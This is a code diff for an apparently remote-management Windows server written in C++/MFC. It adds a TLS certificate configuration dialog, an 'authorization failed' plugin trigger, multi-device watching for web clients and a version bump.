append(s, (n + 1) * sizeof(WCHAR));
|
||||||
|
};
|
||||||
|
|
||||||
|
DLGTEMPLATE dt = { 0 };
|
||||||
|
dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
|
||||||
|
WS_POPUP | WS_CAPTION | WS_SYSMENU;
|
||||||
|
dt.dwExtendedStyle = 0;
|
||||||
|
dt.cdit = 0;
|
||||||
|
dt.x = 0; dt.y = 0;
|
||||||
|
dt.cx = cx; dt.cy = cy;
|
||||||
|
append(&dt, sizeof(dt));
|
||||||
|
appendW(0); // no menu
|
||||||
|
appendW(0); // default dialog class
|
||||||
|
appendWStr(caption); // caption
|
||||||
|
appendW(8); // font point size
|
||||||
|
appendWStr(L"MS Shell Dlg"); // typeface
|
||||||
|
|
||||||
|
while (out.size() % 4) out.push_back(0); // DWORD align
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CTlsCertificateDlg, CDialog)
|
||||||
|
ON_BN_CLICKED(IDC_TLS_CERT_BROWSE, &CTlsCertificateDlg::OnBrowseCert)
|
||||||
|
ON_BN_CLICKED(IDC_TLS_KEY_BROWSE, &CTlsCertificateDlg::OnBrowseKey)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
CTlsCertificateDlg::CTlsCertificateDlg(CWnd* parent)
|
||||||
|
: CDialog((LPCTSTR)NULL, parent)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
INT_PTR CTlsCertificateDlg::DoModal()
|
||||||
|
{
|
||||||
|
USES_CONVERSION;
|
||||||
|
CString title = _TR("TLS证书");
|
||||||
|
BuildDialogTemplate(m_Template, T2CW(title), 340, 180);
|
||||||
|
InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
|
||||||
|
return CDialog::DoModal();
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CTlsCertificateDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
CRect cli;
|
||||||
|
GetClientRect(&cli);
|
||||||
|
|
||||||
|
// 占位 rect,真正布局在 LayoutControls 里
|
||||||
|
CRect r0(0, 0, 10, 10);
|
||||||
|
|
||||||
|
m_btnEnable.Create(_TR("启用加密"),
|
||||||
|
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||||
|
r0, this, IDC_TLS_ENABLE);
|
||||||
|
m_lblCert.Create(_TR("证书路径"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||||
|
m_editCert.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
|
||||||
|
r0, this, IDC_TLS_CERT);
|
||||||
|
m_btnCertBrowse.Create(_TR("浏览"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||||
|
r0, this, IDC_TLS_CERT_BROWSE);
|
||||||
|
m_lblKey.Create(_TR("私钥路径"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||||
|
m_editKey.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
|
||||||
|
r0, this, IDC_TLS_KEY);
|
||||||
|
m_btnKeyBrowse.Create(_TR("浏览"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||||
|
r0, this, IDC_TLS_KEY_BROWSE);
|
||||||
|
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
|
||||||
|
r0, this, IDOK);
|
||||||
|
m_btnCancel.Create(_TR("取消"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||||
|
r0, this, IDCANCEL);
|
||||||
|
|
||||||
|
// 子控件继承对话框字体 (DS_SETFONT)
|
||||||
|
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
|
||||||
|
if (hFont) {
|
||||||
|
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_lblCert.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_editCert.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_btnCertBrowse.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_lblKey.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_editKey.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_btnKeyBrowse.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_btnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
// 回填配置
|
||||||
|
int enabled = THIS_CFG.GetInt("tls", "Enabled", 0);
|
||||||
|
std::string cert = THIS_CFG.GetStr("tls", "CertPath", "");
|
||||||
|
std::string key = THIS_CFG.GetStr("tls", "KeyPath", "");
|
||||||
|
|
||||||
|
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
|
||||||
|
m_editCert.SetWindowText(CString(cert.c_str()));
|
||||||
|
m_editKey.SetWindowText(CString(key.c_str()));
|
||||||
|
|
||||||
|
LayoutControls(cli.Width(), cli.Height());
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTlsCertificateDlg::OnOK()
|
||||||
|
{
|
||||||
|
CString sCert, sKey;
|
||||||
|
m_editCert.GetWindowText(sCert);
|
||||||
|
m_editKey.GetWindowText(sKey);
|
||||||
|
bool enabled = (m_btnEnable.GetCheck() == BST_CHECKED);
|
||||||
|
|
||||||
|
std::string cert = CT2A(sCert);
|
||||||
|
std::string key = CT2A(sKey);
|
||||||
|
|
||||||
|
// 校验:启用加密时必须填写证书/私钥路径
|
||||||
|
if (enabled && cert.empty()) {
|
||||||
|
MessageBoxL("请填写证书路径", "提示", MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (enabled && key.empty()) {
|
||||||
|
MessageBoxL("请填写私钥路径", "提示", MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 落盘 [tls] 三键
|
||||||
|
THIS_CFG.SetInt("tls", "Enabled", enabled ? 1 : 0);
|
||||||
|
THIS_CFG.SetStr("tls", "CertPath", cert);
|
||||||
|
THIS_CFG.SetStr("tls", "KeyPath", key);
|
||||||
|
|
||||||
|
// 热重载身份(设计文档 §7.1):开关与证书/私钥路径对新建连接即时生效。
|
||||||
|
// 已知窄竞态:Load 内部 FreeIdentity 与「已取 Cred 副本、尚在握手」的连接存在竞态,
|
||||||
|
// 未来热切换需引用计数 + 惰性释放(见 ServerTlsSession.cpp FreeIdentity 注释),本次不做。
|
||||||
|
ServerTlsIdentity::Load(THIS_CFG);
|
||||||
|
|
||||||
|
if (ServerTlsIdentity::IsLoadError()) {
|
||||||
|
MessageBoxL("证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。",
|
||||||
|
"提示", MB_ICONWARNING);
|
||||||
|
} else {
|
||||||
|
MessageBox(_TR("TLS 配置已保存。") + _T("\r\n") +
|
||||||
|
_TR("改动对新建连接即时生效。"),
|
||||||
|
_TR("提示"), MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTlsCertificateDlg::OnBrowseCert()
|
||||||
|
{
|
||||||
|
CFileDialog dlg(TRUE, _T("crt"), nullptr,
|
||||||
|
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
||||||
|
_T("Certificate Files (*.crt;*.pem;*.cer;*.cert)|*.crt;*.pem;*.cer;*.cert|All Files (*.*)|*.*||"),
|
||||||
|
this);
|
||||||
|
dlg.m_ofn.lpstrTitle = _T("Select Certificate");
|
||||||
|
|
||||||
|
if (dlg.DoModal() == IDOK) {
|
||||||
|
m_editCert.SetWindowText(dlg.GetPathName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTlsCertificateDlg::OnBrowseKey()
|
||||||
|
{
|
||||||
|
CFileDialog dlg(TRUE, _T("key"), nullptr,
|
||||||
|
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
||||||
|
_T("Key Files (*.key;*.pem)|*.key;*.pem|All Files (*.*)|*.*||"),
|
||||||
|
this);
|
||||||
|
dlg.m_ofn.lpstrTitle = _T("Select Private Key");
|
||||||
|
|
||||||
|
if (dlg.DoModal() == IDOK) {
|
||||||
|
m_editKey.SetWindowText(dlg.GetPathName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTlsCertificateDlg::LayoutControls(int cx, int cy)
|
||||||
|
{
|
||||||
|
const int margin = 14;
|
||||||
|
const int labelW = 72;
|
||||||
|
const int rowH = 24;
|
||||||
|
const int gap = 10;
|
||||||
|
const int browseW = 64;
|
||||||
|
const int btnW = 88;
|
||||||
|
const int btnH = 26;
|
||||||
|
|
||||||
|
int y = margin;
|
||||||
|
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||||
|
y += 30;
|
||||||
|
|
||||||
|
int editW = cx - margin * 2 - labelW - browseW - gap;
|
||||||
|
|
||||||
|
m_lblCert.MoveWindow(margin, y, labelW, rowH);
|
||||||
|
m_editCert.MoveWindow(margin + labelW, y - 2, editW, rowH);
|
||||||
|
m_btnCertBrowse.MoveWindow(cx - margin - browseW, y - 2, browseW, rowH);
|
||||||
|
y += rowH + gap;
|
||||||
|
|
||||||
|
m_lblKey.MoveWindow(margin, y, labelW, rowH);
|
||||||
|
m_editKey.MoveWindow(margin + labelW, y - 2, editW, rowH);
|
||||||
|
m_btnKeyBrowse.MoveWindow(cx - margin - browseW, y - 2, browseW, rowH);
|
||||||
|
y += rowH + gap;
|
||||||
|
|
||||||
|
// 确定 / 取消按钮紧随私钥路径下方
|
||||||
|
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
|
||||||
|
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
|
||||||
|
y += btnH + margin;
|
||||||
|
|
||||||
|
// 收缩对话框到内容实际高度并重新居中,消除底部空白。
|
||||||
|
if (y < cy) {
|
||||||
|
CRect wnd;
|
||||||
|
GetWindowRect(&wnd);
|
||||||
|
SetWindowPos(NULL, 0, 0, wnd.Width(), y + (wnd.Height() - cy),
|
||||||
|
SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||||
|
CenterWindow();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxcmn.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 「TLS证书」配置对话框:启用服务端单向 TLS 加密 + 指定证书/私钥路径。
|
||||||
|
// 因 2015Remote.rc 为 UTF-16 编码、不宜手工编辑,参照 CMcpSettingsDlg 用
|
||||||
|
// InitModalIndirect + 内存 DLGTEMPLATE 程序化创建(见 docs/TransportTLS_MFCServer_Design.md §7.1)。
|
||||||
|
class CTlsCertificateDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit CTlsCertificateDlg(CWnd* parent = nullptr);
|
||||||
|
|
||||||
|
virtual INT_PTR DoModal();
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
virtual void OnOK();
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
private:
|
||||||
|
enum CtrlId {
|
||||||
|
IDC_TLS_ENABLE = 2001, // 「启用加密」复选框
|
||||||
|
IDC_TLS_CERT = 2002, // 证书路径编辑框
|
||||||
|
IDC_TLS_CERT_BROWSE = 2003, // 证书路径「浏览...」按钮
|
||||||
|
IDC_TLS_KEY = 2004, // 私钥路径编辑框
|
||||||
|
IDC_TLS_KEY_BROWSE = 2005, // 私钥路径「浏览...」按钮
|
||||||
|
};
|
||||||
|
|
||||||
|
CButton m_btnEnable;
|
||||||
|
CStatic m_lblCert, m_lblKey;
|
||||||
|
CEdit m_editCert, m_editKey;
|
||||||
|
CButton m_btnCertBrowse, m_btnKeyBrowse;
|
||||||
|
CButton m_btnOK, m_btnCancel;
|
||||||
|
|
||||||
|
std::vector<BYTE> m_Template; // 内存 DLGTEMPLATE 字节
|
||||||
|
|
||||||
|
void LayoutControls(int cx, int cy);
|
||||||
|
void OnBrowseCert();
|
||||||
|
void OnBrowseKey();
|
||||||
|
};
|
||||||
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
|||||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||||
|
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||||
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
|
|||||||
{
|
{
|
||||||
// 初始化触发类型下拉框
|
// 初始化触发类型下拉框
|
||||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||||
|
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
|
||||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||||
|
|
||||||
// 初始化插件列表
|
// 初始化插件列表
|
||||||
@@ -132,6 +134,13 @@ void CTriggerSettingsDlg::InitControls()
|
|||||||
SetWindowText(_TR("触发器设置"));
|
SetWindowText(_TR("触发器设置"));
|
||||||
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
|
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
|
||||||
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
|
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
|
||||||
|
|
||||||
|
// 按钮/分组框文字来自对话框模板,非中文系统上会被系统 ACP 转成 "?",须显式设置
|
||||||
|
SetDlgItemText(IDC_STATIC_TRIGGER_LIST, _TR("已配置的触发器"));
|
||||||
|
SetDlgItemText(IDC_BTN_TRIGGER_ADD, _TR("添加 >>"));
|
||||||
|
SetDlgItemText(IDC_BTN_TRIGGER_REMOVE, _TR("<< 移除"));
|
||||||
|
SetDlgItemText(IDC_BTN_SAVE, _TR("保存(&S)"));
|
||||||
|
SetDlgItemText(IDOK, _TR("关闭"));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTriggerSettingsDlg::LoadPluginsToList()
|
void CTriggerSettingsDlg::LoadPluginsToList()
|
||||||
@@ -147,27 +156,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
|
|||||||
index++;
|
index++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
// 回显当前选中触发类型已勾选的插件
|
||||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
|
||||||
if (onlineTrigger) {
|
|
||||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
|
||||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
|
||||||
if (!dll) continue;
|
|
||||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
|
||||||
if (pluginName == dll->Name) {
|
|
||||||
m_listPlugins.SetCheck(i, TRUE);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||||
{
|
{
|
||||||
m_listTriggers.DeleteAllItems();
|
m_listTriggers.DeleteAllItems();
|
||||||
|
|
||||||
const char* typeNames[] = { "主机上线" };
|
const char* typeNames[] = { "主机上线", "授权失败" };
|
||||||
|
|
||||||
int index = 0;
|
int index = 0;
|
||||||
for (const auto& cfg : m_Configs) {
|
for (const auto& cfg : m_Configs) {
|
||||||
@@ -264,6 +261,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
|||||||
|
|
||||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||||
|
|
||||||
|
// 回显该触发器配置的插件,并同步下拉框选择
|
||||||
|
ReflectPluginsForType(type);
|
||||||
|
m_comboTriggerType.SetCurSel(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
|
||||||
|
{
|
||||||
|
int sel = m_comboTriggerType.GetCurSel();
|
||||||
|
if (sel >= 0) {
|
||||||
|
ReflectPluginsForType((TriggerType)sel);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
|
||||||
|
{
|
||||||
// 查找对应的触发器配置
|
// 查找对应的触发器配置
|
||||||
TriggerConfig* cfg = nullptr;
|
TriggerConfig* cfg = nullptr;
|
||||||
for (auto& c : m_Configs) {
|
for (auto& c : m_Configs) {
|
||||||
@@ -291,9 +303,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 同步下拉框选择
|
|
||||||
m_comboTriggerType.SetCurSel(type);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||||
@@ -427,16 +436,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
|
|||||||
TriggerManager::Instance().Reload();
|
TriggerManager::Instance().Reload();
|
||||||
}
|
}
|
||||||
|
|
||||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
|
||||||
{
|
|
||||||
for (auto& cfg : configs) {
|
|
||||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
|
||||||
return &cfg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nullptr;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// TriggerManager 实现
|
// TriggerManager 实现
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -455,6 +454,7 @@ void TriggerManager::LoadFromDisk()
|
|||||||
{
|
{
|
||||||
// 不加锁,由调用者保证线程安全
|
// 不加锁,由调用者保证线程安全
|
||||||
m_OnlinePlugins.clear();
|
m_OnlinePlugins.clear();
|
||||||
|
m_AuthFailedPlugins.clear();
|
||||||
|
|
||||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||||
for (const auto& cfg : configs) {
|
for (const auto& cfg : configs) {
|
||||||
@@ -462,6 +462,10 @@ void TriggerManager::LoadFromDisk()
|
|||||||
for (const auto& name : cfg.PluginNames) {
|
for (const auto& name : cfg.PluginNames) {
|
||||||
m_OnlinePlugins.insert(name);
|
m_OnlinePlugins.insert(name);
|
||||||
}
|
}
|
||||||
|
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
|
||||||
|
for (const auto& name : cfg.PluginNames) {
|
||||||
|
m_AuthFailedPlugins.insert(name);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
m_bLoaded = true;
|
m_bLoaded = true;
|
||||||
@@ -495,3 +499,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool TriggerManager::HasAuthFailedTrigger()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
bool has = !m_AuthFailedPlugins.empty();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return has;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ struct DllInfo;
|
|||||||
// 触发器类型
|
// 触发器类型
|
||||||
enum TriggerType {
|
enum TriggerType {
|
||||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||||
|
TRIGGER_AUTH_FAILED = 1, // 授权失败
|
||||||
// 后续可扩展更多类型
|
// 后续可扩展更多类型
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -34,12 +35,18 @@ public:
|
|||||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||||
std::set<std::string> GetOnlinePlugins();
|
std::set<std::string> GetOnlinePlugins();
|
||||||
|
|
||||||
|
// 获取授权失败触发器的插件名称集合(高性能查询)
|
||||||
|
std::set<std::string> GetAuthFailedPlugins();
|
||||||
|
|
||||||
// 重新加载配置(保存后调用)
|
// 重新加载配置(保存后调用)
|
||||||
void Reload();
|
void Reload();
|
||||||
|
|
||||||
// 检查是否有上线触发器
|
// 检查是否有上线触发器
|
||||||
bool HasOnlineTrigger();
|
bool HasOnlineTrigger();
|
||||||
|
|
||||||
|
// 检查是否有授权失败触发器
|
||||||
|
bool HasAuthFailedTrigger();
|
||||||
|
|
||||||
private:
|
private:
|
||||||
TriggerManager();
|
TriggerManager();
|
||||||
~TriggerManager();
|
~TriggerManager();
|
||||||
@@ -50,6 +57,7 @@ private:
|
|||||||
|
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||||
|
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
|
||||||
bool m_bLoaded;
|
bool m_bLoaded;
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -68,8 +76,6 @@ public:
|
|||||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||||
// 静态方法:获取配置文件路径
|
// 静态方法:获取配置文件路径
|
||||||
static std::string GetTriggerConfigPath();
|
static std::string GetTriggerConfigPath();
|
||||||
// 静态方法:获取主机上线触发器(如果存在)
|
|
||||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX);
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
@@ -81,12 +87,15 @@ protected:
|
|||||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnCbnSelchangeComboTriggerType();
|
||||||
|
|
||||||
private:
|
private:
|
||||||
void InitControls();
|
void InitControls();
|
||||||
void LoadPluginsToList();
|
void LoadPluginsToList();
|
||||||
void LoadTriggersToList();
|
void LoadTriggersToList();
|
||||||
void UpdateTriggerDisplay();
|
void UpdateTriggerDisplay();
|
||||||
|
// 回显指定触发类型已勾选的插件(取消其他勾选)
|
||||||
|
void ReflectPluginsForType(TriggerType type);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||||
|
|||||||
@@ -46,7 +46,7 @@
|
|||||||
|
|
||||||
// 程序版本号 [建议格式: X.Y.Z]
|
// 程序版本号 [建议格式: X.Y.Z]
|
||||||
// 影响:关于对话框、标题栏
|
// 影响:关于对话框、标题栏
|
||||||
#define BRAND_VERSION "1.3.9"
|
#define BRAND_VERSION "1.4.0"
|
||||||
|
|
||||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||||
@@ -172,6 +172,7 @@
|
|||||||
#define HIDE_MENU_PLUGIN_REQUEST 0 // 插件请求
|
#define HIDE_MENU_PLUGIN_REQUEST 0 // 插件请求
|
||||||
#define HIDE_MENU_FRPS_FOR_SUB 0 // 下级FRP
|
#define HIDE_MENU_FRPS_FOR_SUB 0 // 下级FRP
|
||||||
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
|
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
|
||||||
|
#define HIDE_MENU_TLS_CERTIFICATE 0 // TLS证书
|
||||||
|
|
||||||
// --- 扩展菜单 - 语言子菜单 ---
|
// --- 扩展菜单 - 语言子菜单 ---
|
||||||
#define HIDE_MENU_CHANGE_LANG 0 // 更改语言
|
#define HIDE_MENU_CHANGE_LANG 0 // 更改语言
|
||||||
|
|||||||
+848
-111
File diff suppressed because it is too large.
Load diff
@@ -5,6 +5,8 @@
|
|||||||
#include <vector>
|
#include <vector>
|
||||||
#include <map>
|
#include <map>
|
||||||
#include <set>
|
#include <set>
|
||||||
|
#include <initializer_list>
|
||||||
|
#include <utility>
|
||||||
#include <atomic>
|
#include <atomic>
|
||||||
#include <chrono>
|
#include <chrono>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
@@ -68,12 +70,20 @@ struct WebClient {
|
|||||||
std::string token;
|
std::string token;
|
||||||
std::string username;
|
std::string username;
|
||||||
std::string role; // "admin" | "viewer"
|
std::string role; // "admin" | "viewer"
|
||||||
uint64_t watch_device_id; // 0 = not watching any device
|
// 当前这个 ws 订阅的设备集合。屏幕墙允许多路复用;旧前端仍按单设备语义使用
|
||||||
|
// (connect 替换整个集合)。
|
||||||
|
std::set<uint64_t> watch_device_ids;
|
||||||
|
// 每台设备的 keyframe 请求节流时间戳(秒),防止前端重试打爆服务端/客户端。
|
||||||
|
std::map<uint64_t, uint64_t> keyframe_req_at;
|
||||||
uint64_t connected_at;
|
uint64_t connected_at;
|
||||||
uint64_t last_activity; // Last message/pong received (for heartbeat timeout)
|
uint64_t last_activity; // Last message/pong received (for heartbeat timeout)
|
||||||
std::string client_ip;
|
std::string client_ip;
|
||||||
|
// Per-connection audit de-duplication: probes an attacker can repeat in a
|
||||||
|
// tight loop are recorded once per connection instead of flooding the ring.
|
||||||
|
bool salt_probe_logged = false;
|
||||||
|
bool login_throttle_logged = false;
|
||||||
|
|
||||||
WebClient() : watch_device_id(0), connected_at(0), last_activity(0) {}
|
WebClient() : connected_at(0), last_activity(0) {}
|
||||||
};
|
};
|
||||||
|
|
||||||
// Login attempt tracking for rate limiting
|
